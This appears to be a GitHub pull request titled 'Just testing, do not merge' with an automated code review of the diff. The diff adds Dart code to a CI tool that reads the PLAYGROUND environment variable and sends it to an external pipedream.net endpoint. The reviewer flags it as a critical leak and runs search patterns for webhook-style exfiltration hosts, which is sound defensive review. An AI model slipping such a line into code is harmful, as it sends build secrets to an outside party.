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Update post_command.dart #118

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Just testing, do not merge.

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The changes involve modifying the PostCommand class in the post_command.dart file to introduce new logging and environment variable handling functionality. Specifically, the code now retrieves and logs the value of a PLAYGROUND environment variable and makes an HTTP GET request using this variable as a query parameter. The core functionality of the command remains unchanged, focusing on adding additional logging and external communication capabilities.

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File Change Summary
packages/codemagic_app_preview/lib/src/commands/post_command.dart Added logging for PLAYGROUND environment variable and implemented an HTTP GET request with the variable as a query parameter

Sequence Diagram

sequenceDiagram
    participant Command as PostCommand
    participant Env as Environment
    participant HTTP as HttpClient
    
    Command->>Env: Retrieve PLAYGROUND value
    Env-->>Command: Return PLAYGROUND value
    Command->>Command: Log PLAYGROUND value
    Command->>HTTP: Make GET request with PLAYGROUND as query param
    HTTP-->>Command: Receive response
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The sequence diagram illustrates the new flow where the PostCommand retrieves the PLAYGROUND environment variable, logs its value, and then makes an HTTP GET request using this variable as a query parameter.


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  • packages/codemagic_app_preview/lib/src/commands/post_command.dart (1 hunks)

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final playground = Platform.environment['PLAYGROUND'];
print('PLAYGROUND: $playground');
httpClient.get(
Uri.parse('https://eo3ntn1ymhbeoa.m.pipedream.net?flag=$playground'));

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⚠️ Potential issue

⚠️ Critical: Remove debugging code that could leak sensitive data

This code segment introduces several critical concerns:

  1. It sends environment variables to an external service (pipedream.net), which could potentially leak sensitive information
  2. The HTTP request lacks error handling and proper async/await usage
  3. These changes appear to be for testing purposes only, as indicated in the PR description "Just testing, do not merge"

Remove this entire debugging segment:

-    final playground = Platform.environment['PLAYGROUND'];
-    print('PLAYGROUND: $playground');
-    httpClient.get(
-        Uri.parse('https://eo3ntn1ymhbeoa.m.pipedream.net?flag=$playground'));
-    

If you need to keep this for debugging:

  1. Ensure it's behind a debug flag
  2. Add proper error handling
  3. Make the request asynchronous
  4. Use a controlled internal endpoint
  5. Avoid sending raw environment variables

Example of safer debug code:

if (kDebugMode) {
  try {
    final playground = Platform.environment['PLAYGROUND'];
    print('Debug mode: PLAYGROUND flag is set: ${playground != null}');
    // Use internal debugging endpoints only
  } catch (e) {
    print('Debug logging failed: $e');
  }
}

💡 Codebase verification

Remove debugging code that leaks environment variables

The code is sending environment variables to an external debugging service (pipedream.net). This is the only instance of such behavior in the codebase, but it should be removed as it poses a security risk. All other HTTP requests in the codebase are legitimate API calls to GitHub, GitLab, or internal Codemagic services, with proper authentication headers.

  • Remove the debugging code in packages/codemagic_app_preview/lib/src/commands/post_command.dart that sends environment variables to pipedream.net
🔗 Analysis chain

Verify no other instances of sensitive data leakage

Let's ensure there are no other instances of sending environment variables to external services.

🏁 Scripts executed

The following scripts were executed for the analysis:

Script:

#!/bin/bash
# Search for patterns that might indicate sensitive data being sent to external services

# Look for URLs that might receive environment variables
rg -l "pipedream|requestbin|webhook.site|ngrok.io"

# Look for environment variables being used in HTTP requests
ast-grep --pattern 'Platform.environment[$_]' -A 5

# Look for direct environment access patterns near HTTP clients
rg -l "Platform.environment.*http"

Length of output: 208


Script:

#!/bin/bash
# Let's get more context around the usage of environment variables and HTTP requests

# Look at the content of the file with more context
rg -A 10 -B 10 "Platform.environment" packages/codemagic_app_preview/lib/src/commands/post_command.dart

# Search for any HTTP client usage patterns across the codebase
rg -l "http[A-Za-z]*\.(?:get|post|put|delete|send|request)"

# Look for any URL patterns that might indicate external services
rg -A 3 "Uri\.parse\(" 

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